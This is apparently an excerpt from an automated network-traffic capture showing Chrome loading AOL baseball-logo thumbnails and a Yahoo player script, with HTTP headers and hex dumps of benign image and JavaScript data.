2024-05-23 22:34:51 UTC	930	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2UNZyOQXhKqnd2JRfT26lg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fcubs_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a3b2659666d9421df5229b37996f2ae554b756a4 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500369 Cache-Control: public, max-age=2592000 Cache-Tag: 266662709995079170073183560603147727625,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21959-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 77 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 266662709995079170073183560603147727625,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "54c4b7b548462e8256120e1738b08120" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:57 GMT Server: ECAcc (lhd/35C3) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2160,owidth=50,oheight=50,obytes=2692,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100079-IAD X-Timer: S1711411322.453363,VS0,VE1 Content-Length: 2160 Connection: close
2024-05-23 22:34:51 UTC	2160	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.6	49901	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	565	OUT	GET /rx/ev/builds/1.6.29/pframe.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	844	IN	HTTP/1.1 200 OK x-amz-id-2: lkyUNzkwfJ7dTjmU7LZkBkzlgEq8HNYp0jhilCI21AhTWOnD8Wu6DK0i/Z3o4j8+0DRhR+gh8eZ40Yeo33BtYw== x-amz-request-id: YVK0RTCKE8S64SQ9 Date: Thu, 23 May 2024 17:19:56 GMT Last-Modified: Tue, 21 May 2024 22:19:08 GMT ETag: "fa20a86a0ba75c164a8282add3d6bd49" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=536112000 x-amz-version-id: T5c3w5YL1Zr7QfqE3ZuzKkwzAEUsBmt7 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 126213 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 18897 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 74 3d 7b 31 35 35 36 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 73 70 72 65 61 64 41 72 72 61 79 73 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 69 3d 30 2c 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 3c 65 3b 69 2b 2b 29 74 2b 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 2e 6c 65 6e 67 74 68 3b 76 61 72 20 73 3d 41 72 72 61 79 28 74 29 2c 6e 3d 30 3b 66 6f 72 28 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 66 6f 72 28 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 2c 72 3d 30 2c 61 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 61 3b 72 2b 2b 2c 6e 2b 2b 29 73 5b 6e 5d 3d 6f 5b 72 5d 3b 72 65 74 75 72 Data Ascii: (()=>{var t={1556:function(t,i){"use strict";var e=this&&this.__spreadArrays\|\|function(){for(var t=0,i=0,e=arguments.length;i<e;i++)t+=arguments[i].length;var s=Array(t),n=0;for(i=0;i<e;i++)for(var o=arguments[i],r=0,a=o.length;r<a;r++,n++)s[n]=o[r];retur
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 28 65 2c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 6f 2c 30 29 29 2c 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6e 29 7d 29 2c 74 68 69 73 29 3b 72 65 74 75 72 6e 20 6e 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 75 62 6c 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 5b 65 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 69 66 28 74 68 69 73 2e 6c 29 7b 69 66 28 74 20 69 6e 20 74 68 69 73 2e 6c 29 7b 76 61 72 20 73 3d 74 68 69 73 2e 6c 5b 74 5d 3b 73 26 26 74 68 69 73 2e 5f 28 73 2c 74 2c 21 31 2c 69 29 7d 76 61 72 20 6e 3d 74 68 69 73 2e 6c 5b 22 2a 22 5d 3b 6e Data Ascii: (e,Array.prototype.slice.call(o,0)),s.removeEventListener(t,n)}),this);return n},t.prototype.publish=function(t){for(var i=[],e=1;e<arguments.length;e++)i[e-1]=arguments[e];if(this.l){if(t in this.l){var s=this.l[t];s&&this._(s,t,!1,i)}var n=this.l["*"];n
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 76 6f 69 64 20 30 21 3d 3d 65 2e 67 26 26 65 2e 67 2e 77 69 6e 64 6f 77 3f 65 2e 67 2e 77 69 6e 64 6f 77 3a 7b 7d 2c 6e 3d 73 2e 6e 61 76 69 67 61 74 6f 72 3f 73 2e 6e 61 76 69 67 61 74 6f 72 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 3f 6e 61 76 69 67 61 74 6f 72 3a 7b 7d 2c 6f 3d 6e 2e 75 73 65 72 41 67 65 6e 74 3f 6e 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 72 65 70 6c 61 63 65 28 2f 3c 5b 41 2d 5a 61 2d 7a 5d 2b 2e 2a 3f 28 5c 2f 3e 7c 3e 2e 2a 3f 3c 5c 2f 5b 41 2d 5a 61 2d 7a 5d 2b 3e 29 7c 6a 61 76 61 73 63 72 69 70 74 3a 2f 67 2c 22 22 29 3a 22 22 2c 72 3d 6e 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2c 61 3d 66 75 6e 63 74 69 6f 6e Data Ascii: ndow?window:void 0!==e.g&&e.g.window?e.g.window:{},n=s.navigator?s.navigator:"undefined"!=typeof navigator?navigator:{},o=n.userAgent?n.userAgent.toLowerCase().replace(/<[A-Za-z]+.?(\/>\|>.?<\/[A-Za-z]+>)\|javascript:/g,""):"",r=n.userAgentData,a=function
2024-05-23 22:34:51 UTC	1287	IN	Data Raw: 26 26 64 28 2f 66 69 72 65 66 6f 78 5c 2f 28 5b 5e 5c 73 5d 2a 29 2f 2e 65 78 65 63 28 6f 29 29 2c 69 2e 61 6e 64 72 6f 69 64 3d 6c 28 22 61 6e 64 72 6f 69 64 22 29 7c 7c 2f 61 6e 64 72 6f 69 64 2f 2e 74 65 73 74 28 6f 29 2c 69 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 69 2e 61 6e 64 72 6f 69 64 26 26 21 2f 6d 6f 62 69 6c 65 2f 2e 74 65 73 74 28 6f 29 2c 69 2e 68 74 63 5f 6f 6e 65 3d 2f 68 74 63 5f 6f 6e 65 2f 2e 74 65 73 74 28 6f 29 2c 69 2e 76 69 7a 69 6f 3d 2f 76 69 7a 69 6f 2f 2e 74 65 73 74 28 6f 29 7c 7c 22 76 69 7a 69 6f 22 3d 3d 3d 75 28 22 6d 61 6e 22 29 2c 69 2e 74 69 76 6f 3d 2f 74 69 76 6f 2f 2e 74 65 73 74 28 6f 29 2c 69 2e 70 72 65 73 74 6f 3d 69 2e 6f 70 65 72 61 26 26 2f 70 72 65 73 74 6f 2f 69 2e 74 65 73 74 28 6f 29 2c 69 2e 66 69 6f Data Ascii: &&d(/firefox\/([^\s]*)/.exec(o)),i.android=l("android")\|\|/android/.test(o),i.androidTablet=i.android&&!/mobile/.test(o),i.htc_one=/htc_one/.test(o),i.vizio=/vizio/.test(o)\|\|"vizio"===u("man"),i.tivo=/tivo/.test(o),i.presto=i.opera&&/presto/i.test(o),i.fio
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 77 69 6e 64 6f 77 2e 49 2c 69 2e 74 76 29 7b 76 61 72 20 68 3d 76 6f 69 64 20 30 21 3d 3d 68 3f 68 3a 76 6f 69 64 20 30 21 3d 3d 65 2e 67 26 26 65 2e 67 2e 74 76 3f 65 2e 67 2e 74 76 3a 7b 7d 3b 69 66 28 69 2e 63 6c 61 73 73 3d 69 2e 75 61 2c 69 2e 76 69 7a 69 6f 29 69 2e 6f 73 3d 22 76 69 7a 69 6f 22 2c 69 2e 63 6c 61 73 73 3d 75 28 22 63 6c 61 73 73 22 29 7c 7c 75 28 22 73 6f 63 22 29 2c 68 26 26 68 2e 74 74 73 26 26 28 69 2e 63 6c 61 73 73 2b 3d 22 2d 74 74 73 22 29 3b 65 6c 73 65 20 69 66 28 69 2e 74 69 76 6f 29 69 2e 6f 73 3d 22 74 69 76 6f 22 2c 2f 74 63 64 38 34 39 2f 2e 74 65 73 74 28 6f 29 3f 69 2e 63 6c 61 73 73 3d 22 54 43 44 38 34 39 22 3a 2f 74 63 64 38 64 39 2f 2e 74 65 73 74 28 6f 29 3f 69 2e 63 6c 61 73 73 3d 22 54 43 44 38 44 39 22 3a 2f Data Ascii: window.I,i.tv){var h=void 0!==h?h:void 0!==e.g&&e.g.tv?e.g.tv:{};if(i.class=i.ua,i.vizio)i.os="vizio",i.class=u("class")\|\|u("soc"),h&&h.tts&&(i.class+="-tts");else if(i.tivo)i.os="tivo",/tcd849/.test(o)?i.class="TCD849":/tcd8d9/.test(o)?i.class="TCD8D9":/
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 72 61 76 69 61 7c 73 6f 6e 79 2d 6b 6a 2f 2e 74 65 73 74 28 6f 29 3f 69 2e 63 6c 61 73 73 3d 22 42 52 41 56 49 41 22 3a 69 2e 63 6c 61 73 73 3d 22 64 65 66 61 75 6c 74 22 29 3a 69 2e 70 6c 61 79 73 74 61 74 69 6f 6e 3f 28 69 2e 6f 73 3d 22 70 6c 61 79 73 74 61 74 69 6f 6e 22 2c 2f 34 70 72 6f 2f 2e 74 65 73 74 28 6f 29 3f 69 2e 63 6c 61 73 73 3d 22 34 50 52 4f 22 3a 2f 70 6c 61 79 73 74 61 74 69 6f 6e 20 34 2f 2e 74 65 73 74 28 6f 29 3f 69 2e 63 6c 61 73 73 3d 22 34 22 3a 2f 76 69 74 61 2f 69 2e 74 65 73 74 28 6f 29 26 26 28 69 2e 63 6c 61 73 73 3d 22 56 49 54 41 22 29 29 3a 69 2e 66 69 6f 73 3f 28 69 2e 6f 73 3d 22 66 69 6f 73 22 2c 2f 73 74 62 2f 2e 74 65 73 74 28 6f 29 3f 69 2e 63 6c 61 73 73 3d 22 53 54 42 22 3a 2f 76 6d 73 2f 2e 74 65 73 74 28 6f 29 Data Ascii: ravia\|sony-kj/.test(o)?i.class="BRAVIA":i.class="default"):i.playstation?(i.os="playstation",/4pro/.test(o)?i.class="4PRO":/playstation 4/.test(o)?i.class="4":/vita/i.test(o)&&(i.class="VITA")):i.fios?(i.os="fios",/stb/.test(o)?i.class="STB":/vms/.test(o)
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 76 6f 69 64 20 30 2c 69 2e 45 5f 49 4e 46 4f 3d 22 31 30 30 22 2c 69 2e 45 5f 57 41 52 4e 49 4e 47 3d 22 32 30 30 22 2c 69 2e 45 5f 59 56 41 50 3d 22 33 30 30 22 2c 69 2e 45 5f 50 4c 41 59 45 52 3d 22 34 30 30 22 2c 69 2e 45 5f 50 4c 41 59 45 52 5f 44 52 4d 3d 22 34 31 30 22 2c 69 2e 45 5f 53 41 50 49 5f 41 42 53 54 52 41 43 54 3d 22 35 30 30 22 2c 69 2e 45 5f 53 41 50 49 5f 53 54 52 45 41 4d 3d 22 35 30 31 22 2c 69 2e 45 5f 53 41 50 49 5f 4e 43 50 5f 4a 41 52 56 49 53 3d 22 35 30 36 22 2c 69 2e 45 5f 42 52 49 47 48 54 43 4f 56 45 3d 22 37 30 30 22 2c 69 2e 49 4e 46 4f 5f 43 4f 44 45 53 3d 7b 45 5f 53 41 50 49 5f 4c 49 43 45 4e 53 45 5f 45 52 52 4f 52 3a 22 32 30 30 22 2c 45 5f 53 41 50 49 5f 55 4e 41 56 41 49 4c 41 42 4c 45 5f 54 45 4d 50 3a 22 32 30 31 Data Ascii: void 0,i.E_INFO="100",i.E_WARNING="200",i.E_YVAP="300",i.E_PLAYER="400",i.E_PLAYER_DRM="410",i.E_SAPI_ABSTRACT="500",i.E_SAPI_STREAM="501",i.E_SAPI_NCP_JARVIS="506",i.E_BRIGHTCOVE="700",i.INFO_CODES={E_SAPI_LICENSE_ERROR:"200",E_SAPI_UNAVAILABLE_TEMP:"201
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 45 51 5f 43 4f 52 53 5f 45 52 52 4f 52 3a 22 37 36 30 22 2c 45 5f 49 4e 54 45 52 4e 41 4c 5f 56 49 4f 4c 41 54 49 4f 4e 3a 22 36 30 30 22 2c 45 5f 53 45 54 55 50 5f 45 52 52 4f 52 3a 22 34 30 34 22 2c 45 5f 49 4e 56 41 4c 49 44 5f 43 4f 4e 46 49 47 3a 22 36 30 31 22 2c 45 5f 52 45 43 4f 56 45 52 59 5f 46 41 49 4c 55 52 45 3a 22 36 30 32 22 2c 45 5f 4e 4f 5f 52 45 4e 44 45 52 45 52 5f 46 4f 55 4e 44 3a 22 36 30 34 22 7d 2c 69 2e 50 4c 41 59 45 52 5f 44 52 4d 5f 43 4f 44 45 53 3d 7b 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 5f 4f 53 3a 22 31 22 2c 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 5f 42 52 4f 57 53 45 52 3a 22 32 22 2c 45 5f 45 4d 45 5f 4d 49 53 53 49 4e 47 3a 22 33 22 2c 45 5f 49 4e 49 54 3a 22 34 22 2c 45 5f 43 4f 4e 46 49 47 3a 22 35 22 2c 45 5f 43 45 Data Ascii: EQ_CORS_ERROR:"760",E_INTERNAL_VIOLATION:"600",E_SETUP_ERROR:"404",E_INVALID_CONFIG:"601",E_RECOVERY_FAILURE:"602",E_NO_RENDERER_FOUND:"604"},i.PLAYER_DRM_CODES={E_UNSUPPORTED_OS:"1",E_UNSUPPORTED_BROWSER:"2",E_EME_MISSING:"3",E_INIT:"4",E_CONFIG:"5",E_CE
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 2c 65 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 69 2e 58 48 52 5f 54 49 4d 45 4f 55 54 3d 69 2e 58 48 52 5f 43 4f 52 53 3d 69 2e 58 48 52 5f 45 52 52 4f 52 3d 76 6f 69 64 20 30 3b 76 61 72 20 73 3d 65 28 38 37 32 39 29 2c 6e 3d 65 28 39 30 30 35 29 2c 6f 3d 65 28 31 35 34 33 29 2c 72 3d 65 28 36 31 32 30 29 3b 69 2e 58 48 52 5f 45 52 52 4f 52 3d 22 58 48 52 20 65 72 72 6f 72 22 2c 69 2e 58 48 52 5f 43 4f 52 53 3d 22 58 48 52 20 43 4f 52 53 22 2c 69 2e 58 48 52 5f 54 49 4d 45 4f 55 54 3d 22 58 48 52 20 72 65 71 75 65 73 74 20 74 69 6d 65 64 20 6f 75 74 22 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ,e)=>{"use strict";Object.defineProperty(i,"__esModule",{value:!0}),i.XHR_TIMEOUT=i.XHR_CORS=i.XHR_ERROR=void 0;var s=e(8729),n=e(9005),o=e(1543),r=e(6120);i.XHR_ERROR="XHR error",i.XHR_CORS="XHR CORS",i.XHR_TIMEOUT="XHR request timed out";var a=function(
2024-05-23 22:34:51 UTC	1300	IN	Data Raw: 6f 6e 2e 68 6f 73 74 3b 69 66 28 5f 26 26 5f 21 3d 3d 77 29 7b 76 61 72 20 45 3d 69 2e 58 48 52 5f 43 4f 52 53 2b 22 3a 20 6f 72 69 67 69 6e 48 65 61 64 65 72 20 3d 22 2b 28 5f 7c 7c 22 22 29 2b 22 3a 20 6d 79 4f 72 69 67 69 6e 20 3d 22 2b 77 3b 76 2e 63 61 6c 6c 28 6c 2c 6e 65 77 20 45 72 72 6f 72 28 45 29 2c 22 64 65 66 61 75 6c 74 22 2c 22 63 6f 72 73 22 29 7d 65 6c 73 65 7b 76 61 72 20 49 3d 6e 2e 74 69 6d 65 44 69 66 66 3e 3d 68 3f 69 2e 58 48 52 5f 54 49 4d 45 4f 55 54 3a 69 2e 58 48 52 5f 45 52 52 4f 52 3b 76 2e 63 61 6c 6c 28 6c 2c 6e 65 77 20 45 72 72 6f 72 28 49 2b 22 3a 20 74 69 6d 65 44 69 66 66 20 3d 22 2b 6e 2e 74 69 6d 65 44 69 66 66 29 2c 28 6e 75 6c 6c 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 70 72 65 76 69 6f 75 73 53 74 61 74 65 29 7c 7c Data Ascii: on.host;if(_&&_!==w){var E=i.XHR_CORS+": originHeader ="+(_\|\|"")+": myOrigin ="+w;v.call(l,new Error(E),"default","cors")}else{var I=n.timeDiff>=h?i.XHR_TIMEOUT:i.XHR_ERROR;v.call(l,new Error(I+": timeDiff ="+n.timeDiff),(null==n?void 0:n.previousState)\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.6	49898	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	939	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FU5.SOf.2odBFKvqm19ffnQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fdiamondbacks_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=90f04834c13384cadb7ada17976f034e90578534 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1127	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1290781 Cache-Control: public, max-age=2592000 Cache-Tag: 390140098819754147651442720438145452461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21968-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 56 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 390140098819754147651442720438145452461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "efa8f8df0727cb953f944988016a29cf" Expiration: expiry-date="Thu, 01 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 02 Feb 2024 01:29:28 GMT Server: ECAcc (lhd/3592) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1848,owidth=50,oheight=50,obytes=2271,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21925-LGA X-Timer: S1711411311.842574,VS0,VE85 Content-Length: 1848 Connection: close
2024-05-23 22:34:51 UTC	1848	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c e3 d4 ac e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d3 ac e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ac e3 d4 ad e3 d4 ad e2 d4 ad e3 d4 ad e0 d1 ab e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad df d0 aa e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e2 d3 ac e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e1 d1 ab e3 d4 ad e3 d4 ad e3 d4 ad e3 d4 ad e3 d3 ac e3 d4 ad e3 d4 ad e2 d3 ad e3 d4 ad e3 Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.6	49900	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:51 UTC	703	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FIjw0_3b8a1CMPGSAXMtS8g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fyankees_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=ff1d4fa8605c9733c7da8efc8f7f5acc20916320 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:51 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2519130 Cache-Control: public, max-age=2592000 Cache-Tag: 496633143958043036134076462289524311781,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000024-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:51 GMT Edge-Cache-Tag: 496633143958043036134076462289524311781,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "b65f65b22efb7c7b99c0a9b1b4c3e9cb" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 17:28:08 GMT Server: ECAcc (lhd/35B9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2085,owidth=50,oheight=50,obytes=2467,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000105-IAD X-Timer: S1711392562.914749,VS0,VE2 Content-Length: 2085 Connection: close
2024-05-23 22:34:51 UTC	2085	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 f2 f4 ff ff ff ff ff ff ff ff ff ff ff ff e8 ea ed fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa fa fb fb fc fc fd fd fe f8 f8 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 f9 fa f7 f8 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 12 22 47 d2 d5 dc ff ff ff ec ed f0 ff ff ff ff ff ff ff ff ff f3 f4 f6 ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL"G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.6	49904	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
